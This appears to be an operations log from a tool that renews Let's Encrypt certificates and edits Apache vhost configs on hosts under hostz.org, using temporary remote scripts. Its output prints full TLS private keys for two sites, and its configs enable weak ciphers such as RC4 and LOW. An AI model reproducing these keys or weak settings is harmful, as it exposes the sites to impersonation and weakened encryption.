ErrorLog /var/log/apache2/hostz/jupiter_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_secure_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-08 06:01:13:
PUT: /tmp/pkp303263
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-08 06:01:13:
chmod 755 /tmp/pkp303263; /tmp/pkp303263; rm /tmp/pkp303263
2025-10-08 06:01:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5349
71:d6:17:65:7a:77:9f:e3:bc:f9:17:61:7f:0b:51:43
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBelY4MdM2V/z0EBBy4B0WHSGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA4MDUwMjQwWhcNMjYwMTA2MDUwMjM5WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOG6ySWE8QRUnUWNxoc/vBta93vJU390ulY8GOc4U6MxvWp44xd59IBaaKD4
v1X8WqAjdmTPWCV8pLLqA3jsVUl4kDrGcTnahXx7QswwzTL1xUJ6ODepb99owZT+
wZoG769o/xmXlujrvQCV+q5IBQrC7sVXmk8wWtGXj3RaYZklzM9XGq1Os07JMgpz
Bh3A/CHBa7ZgLs69uy8w8TDdnML1aqxFuxV9D/ViT0bCwNFRIiOw3FsAzTTkVzNm
ltzDgMr8YT2e6ITcGA1h1kBwDXtpfvoxbyAqVRPYGlkc7r4xtvH4YZ+YqyDst7CN
FPKq9WEDsUG6PDUIYFwXd7//SekCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUi4x3twhwuoYDuH52PvwTDV8CNU4wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFqdXBpdGVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKgIKAehhxodHRwOi8v
cjEyLmMubGVuY3Iub3JnLzcuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA
GYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZwmjIzQAABAMARjBE
AiBXZAXIDTf9lZRJGc0BZDSrcE5bKczJbbZD0803x0+73QIgTLPdWl/N+zLgNcGd
nzDbi9mw7atnNHY8bWlz8MgZ91gAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZu
RqQ/D8qpxgAAAZnCaMkeAAAEAwBHMEUCIElVJEXS0VIw3HwlgfJJ4AnzyJ8Svyv3
pXG9F7B85uaEAiEAgPkfIcgDQkE1Aj9Tly14yPZEtY1EU4G2li5MnK+Ec5YwDQYJ
KoZIhvcNAQELBQADggEBAMWgT2BX5YFq3lCamQNxlmcZ4GD7G+oAZxciU4luV0h2
wKAs8dMuZFxLr5mIGiQgDrk7udEliucg+5X7FMajjx7HLKAljnverWcTFx917duw
F3ZCe5g17Gt3nfEWK9aNz37qJfKnZ9VSEKKDn4Ul7d1eRoKYKk6TX+veuNpj6v7b
78XFJZSbHJzGQ6XHImfsGfEhVQi1/1IINNnKNlbGxl9/hiHWp2r8HhiD+y4aEmJD
IeABce2zY4frwi/kYM4nxHdF4IaFIE0gWWV2altv0q1YNBm6QdVYiu0Mb0lOIlcU
tWwFzgWlEQVrUx0miU9bwbrW8gG8xN6KuS2dcujMuAg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhusklhPEEVJ1F
jcaHP7wbWvd7yVN/dLpWPBjnOFOjMb1qeOMXefSAWmig+L9V/FqgI3Zkz1glfKSy
6gN47FVJeJA6xnE52oV8e0LMMM0y9cVCejg3qW/faMGU/sGaBu+vaP8Zl5bo670A
lfquSAUKwu7FV5pPMFrRl490WmGZJczPVxqtTrNOyTIKcwYdwPwhwWu2YC7Ovbsv
MPEw3ZzC9WqsRbsVfQ/1Yk9GwsDRUSIjsNxbAM005FczZpbcw4DK/GE9nuiE3BgN
YdZAcA17aX76MW8gKlUT2BpZHO6+Mbbx+GGfmKsg7LewjRTyqvVhA7FBujw1CGBc
F3e//0npAgMBAAECggEAOz36bI5ncuuCGy8KW5Sumb9WFHbSIzFPdjJvlr+Bs+Lq
A3eWoiKvuMABlb2y+a4xWrXz7KE+URhVYV9paeMcvxuVPte1/6kKP5FaBp0IPcei
7b+F4ZXmdovXwnLZ/MK1RSQZT24pfRfhkrXKBNOB/0EJyWEkboQSUc+lJrRRyQ9U
cxNvkGvDfqzaHn/fZoz7BQ+af3TGOCdAcYAU7A8sZWUxG6Pmm9p9FJUNdYplDESQ
1kps4JjiFH7up2AOEd7jMnWeku/LIycPkvQyVT+SJBJSFgs01LtFHn4Z4lj6tVlr
nt8tkQrnX9fLo0KBOdqY1ypNJ/DyfWE4na3RsYy4AQKBgQDwmqQPa3qE1ZPKBQsu
Ym/w71wLtGCtUugoFdJy8ijrSJ+iNsx61TmITYVwtqAJdSFfSCR/LDLleN0ScNhf
C4WsJq+QswqG2B9swOca9jTIsdcZl4axz0PXk8Lti2jNg8e346JMrVbi3cyl5sR2
DlTDBUI8tfJFPlyfmy7inuDHuQKBgQDwLHw7isTh4BRphOZTd/oZdHDP8oejG2zn
RS3RLMjPLWRzbkFBNQ4NvfpeSUqQ66RBJesYrDfWY6ne+wOKL1oYA+ajKt8vnyFc
kEsGZsepOmIzQGpHrQ8Qw22jY+1TvRdY8wcSj8d9zX8niFKswhtWDZliLQehfxHT
WET9caJLsQKBgQC42iZ3zlx4F9sO1+cqQOi+FDgEqhWotEy3F2TzeQdlFQvIRg+9
w3oLNXvzB+xWt83m9XdM2XlVAhHfLCGgjCqsA6DZLCVHSl6CYIZuGYCePLwE5nzO
uW3m/5hAht4DH17e8h3siTR64mtrfqusBACtQKoOGL/E4U+qNEDGTchmyQKBgQC8
zywHHwuySpehcIIlgj9SPZDmWVK6LjhKA7+GHr/q51N9z2JrYcsfkIdAEjwVe7pQ
IQAWEGWBHC6SBiF9Q8Z+9KofAfgdFuuCOklQygISjrxecDhdCra6RfhuJ4OOfivZ
mIyp0fBRfPiGWowsFhipaN15Kc9C7YNU86Kg3/FnsQKBgEK/VgnhLpxrROHjMkiC
A4BQeAMghPoltXfcch4FvSGw1W88C0B11HYjX64ScSZVc3M2j0B3bBEUJT3NYo8k
vXQpCl1u28NKT3B1klR9anBwGK7IvkopmFoiTS7aIr5N3BPS/yY6TfifOcYmkro+
/t9kmN73WcC4ulm1urDmQkJI
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-08 06:01:13: Establishing a connection
2025-10-08 06:01:14: Establishing a connection
2025-10-08 06:01:14:
PUT: /tmp/pkp402713
#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-08 06:01:14:
chmod 755 /tmp/pkp402713; /tmp/pkp402713; rm /tmp/pkp402713
2025-10-08 06:01:14:
1
2025-10-08 06:01:15: Establishing a connection
2025-10-08 06:01:15:
PUT: /tmp/pkp538896
#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
2025-10-08 06:01:15:
chmod 755 /tmp/pkp538896; /tmp/pkp538896; rm /tmp/pkp538896
2025-10-08 06:01:15:
2025-10-08 06:01:15: Establishing a connection
2025-10-08 06:01:16: Establishing a connection
2025-10-08 06:01:17:
PUT: /tmp/pkp220621
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-08 06:01:18:
chmod 755 /tmp/pkp220621; /tmp/pkp220621; rm /tmp/pkp220621
2025-10-08 06:01:18:
0
2025-10-09 06:00:03: Establishing a connection
2025-10-09 06:00:04: Establishing a connection
2025-10-09 06:00:06:
PUT: /tmp/pkp898032
#!/bin/bash
if [ -d "/var/www/hostz_earth/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 06:00:07:
chmod 755 /tmp/pkp898032; /tmp/pkp898032; rm /tmp/pkp898032
2025-10-09 06:00:07:
1
2025-10-09 06:00:08: Establishing a connection
2025-10-09 06:00:09:
PUT: /tmp/pkp530568
#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
cat > 0R0MgIArSzmmQKbVqosSNQkU_neOy_8_m4mKiQbLOiI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0R0MgIArSzmmQKbVqosSNQkU_neOy_8_m4mKiQbLOiI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0R0MgIArSzmmQKbVqosSNQkU_neOy_8_m4mKiQbLOiI
2025-10-09 06:00:10:
chmod 755 /tmp/pkp530568; /tmp/pkp530568; rm /tmp/pkp530568
2025-10-09 06:00:11:
2025-10-09 06:00:16: Establishing a connection
2025-10-09 06:00:17:
PUT: /tmp/pkp452020
#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
rm 0R0MgIArSzmmQKbVqosSNQkU_neOy_8_m4mKiQbLOiI
2025-10-09 06:00:18:
chmod 755 /tmp/pkp452020; /tmp/pkp452020; rm /tmp/pkp452020
2025-10-09 06:00:18:
2025-10-09 06:00:18: Establishing a connection
2025-10-09 06:00:19:
PUT: /tmp/pkp668140
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
a7:0a:40:bc:b9:87:97:a9:4e:07:4e:22:95:b9:3b:6f
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBoWL6nO0iIiD5+K+1G0rzGfxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MDUwMTQ1WhcNMjYwMTA3MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCyV/VL+Fx8VYgzsWDQbXW0wtE3Ep+DuMVkQhGEd4QjPEQsGwwDnuggZbQm+5ox
IJWtEDT4GjL+0SHm4bekElSFk4OZWaZ7Wm2HC1uA8vktZZMgQQjtJWoc7wRKQKNx
Xp5x85iQBzgxiUGOYUNmoJ/GGcbJ3zJzoYp3jUSPyCPA04in3bzaZkYk+tfHZEd/
hEkDiyIUAKcMYCcHcpOvfIdHX2L/nHrGFbXbDH2gm+96grgX6z2GatUQ87stCDO5
2kopmPDvmKqDKVHAcoHDITLp24Y5dAwwtaxzLQc3omcBGnonsEeUG+TxInAvfa2M
sDomFx6JhHWQHzGGdLTAYW0XAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFHbL6l5BGuQZmR6V8Si1qdK4UYTBMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWFydGguaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMTE0LmNybDCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1ABmG
1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmceOTS0AAAQDAEYwRAIg
XOoPgFHv/8L5RnTGGWJbieGhqb6jmmIpnIxntRDKvF0CIF9VvuJdQ2wWji//+GDE
E+dlWlHxHI69o3nOzse6ODG4AHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIakl
rGHFTiEAAAGZx45NKgAABAMARjBEAiA+rqKnl8PlIFI8pH4eTaZJ++3P4+YLmA7y
O4gZ2mXIJQIgQdQ3lXhWA7vPJSo/PQaeL1DxBCtcmMmzxK6FaHYMQpUwDQYJKoZI
hvcNAQELBQADggEBAC+EpkHDIhJWeLUFm9jMHUOzn7YTNX0pYUUdhgv4NMskrKSV
qRLsY53lmEFn0w5A/tIPKtkT9P5PCpzZoKijCmlb6tmbvW5yK/xS0BDgVsnxdI9Q
ff/afKuwX7nOBPdR5LIIK69Q6AxO95kZjzU5cR5zDlZUhfDpnJWS1lV92SiEd+2g
N7QzOSZJUfEF0E+HNaconV2Kjb7KCnYR7hYfB/Mc6C0G87Ab9SxB8kdvCNk25rjB
8Frvf7muJU5ROlQcgMC7oa+OAKOfgAvZhtPNuCK8S4d2RIxKkiuEQp724vxLxLi1
a9eTz7umqW9vTgi/1XU0Nb32QslFF3eNew2XMoI=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyV/VL+Fx8VYgz
sWDQbXW0wtE3Ep+DuMVkQhGEd4QjPEQsGwwDnuggZbQm+5oxIJWtEDT4GjL+0SHm
4bekElSFk4OZWaZ7Wm2HC1uA8vktZZMgQQjtJWoc7wRKQKNxXp5x85iQBzgxiUGO
YUNmoJ/GGcbJ3zJzoYp3jUSPyCPA04in3bzaZkYk+tfHZEd/hEkDiyIUAKcMYCcH
cpOvfIdHX2L/nHrGFbXbDH2gm+96grgX6z2GatUQ87stCDO52kopmPDvmKqDKVHA
coHDITLp24Y5dAwwtaxzLQc3omcBGnonsEeUG+TxInAvfa2MsDomFx6JhHWQHzGG
dLTAYW0XAgMBAAECggEAEXnZCaa+uVhQTnB1QjdXr2zfv3vNscSrYxWuTcLAagt/
yqqj1L7/lB0jOCazh1jgEeNirWUz1hB8N/mqWyOIsMYxwRct3yyPSwpr3wjwLeik
MCbvTv25ljg9vWD0IynYcOYj7wkmEoSWrfMN/cKDpY/lEOcUNIyB2xE2xLgh+MUX
2h2+0kaXeXFvB3bsqHAz9JUeDpJo03/lCUut4G/iKezD8KVK9CANoFYHQODZ+j22
aL5xZpYdCaZ2ouUoUpXa+x1jdmDy3EWhAM35ja1m+xjzQZP7x1MXQNT8F+seN2Vz
k703ip5rbWjy/tMNSWpRI3Mtfn5tXH/MzAEbDilt4QKBgQDdSdarKUE7i2NnAWY/
iSKGrsjQx+K8DiEqmGrlTy6wq4NkJgtUG3roM0L8Axlr9epep5kWjD8dqdbUkiGU
iFel2VBGPaZrw+Oh/hDiUKODCxSot1BgOrnUMUNWWoimFDSwkiR0Dxm3Eq4Py5ZB
amMfu9WkkrxK3iJ9mQdTPUPsbwKBgQDOUZs+BMz0Rnsedd6dPBuVpzuOI/8CHgco
E3nhtw4xbJ/jNVy1FIU1H8nXcagH0cg9HitR6JIZeaETMow+apZFj33mlBzE9Pzs
+LcnjaOwpcaIQqDJkRiF51WuwTpbLLEMvuRuMcazp+gzwLP+ptJNm8DC2Lp1rjGW
1dUP5umt2QKBgQDPrlPlUZOiUaBZ9OtEZ+zaYEGiCGbYPZ6M/n0cdyMHtgBbRoVN
S3kfYbTVFgeO1j4+1aaMjdVSfqpb2EXhw9AWnAyFz6hX7YG+79ZiwHGlNAoQifLK
TXNIHW/oJJGo5L/Kk23Y6q8krUhlFJoRDMq45q2MhhZnYXEXVT6VtaMAywKBgQCX
v8gqPoes56YoylM5XPuBACa6rlki6oki/eg4j1Z+HcIf8KDGg1hSsZXYw7zuO2tH
IMiGD0RePmqt3xDt26G5eggFL01VxEe/2FOGYRRTmirDEBaJCxJ5cqQ/y9mrM9zp
XgJP1oaqn0YXwpXhKDwoXvXRmmzSn5PTuGVks9eOSQKBgAj+cssoNSoUYzvy0d1Y
GkTwzIepC+jT5V0v4kCVPlZvnqsHxDSLLIIpbjB17rcubi56yEBXGdV74cyadQOW
sSGfkZI11BKNkQJASNp6GPy9b3VjAbl+cECwie7MgTOm6arMk8dbQJiJiLb/ffvX
y1Gaf7UdnO7MbLnUvdj2WHbQ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-09 06:00:20:
chmod 755 /tmp/pkp668140; /tmp/pkp668140; rm /tmp/pkp668140
2025-10-09 06:00:21:
dir=/etc/ssl/certs
2025-10-09 06:00:21:
PUT: /tmp/pkp667213
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_earth_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-09 06:00:21:
chmod 755 /tmp/pkp667213; /tmp/pkp667213; rm /tmp/pkp667213
2025-10-09 06:00:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf 36
ExtendedStatus on
<VirtualHost *:80>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/earth_access.log combined
ErrorLog /var/log/apache2/pjy/earth_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_earth/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/earth_secure_access.log combined
ErrorLog /var/log/apache2/pjy/earth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 06:00:21:
PUT: /tmp/pkp736767
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_earth_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_earth_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ExtendedStatus on
<VirtualHost *:80>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/earth_access.log combined
ErrorLog /var/log/apache2/pjy/earth_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_earth/.htpasswd
require valid-user
</Location>
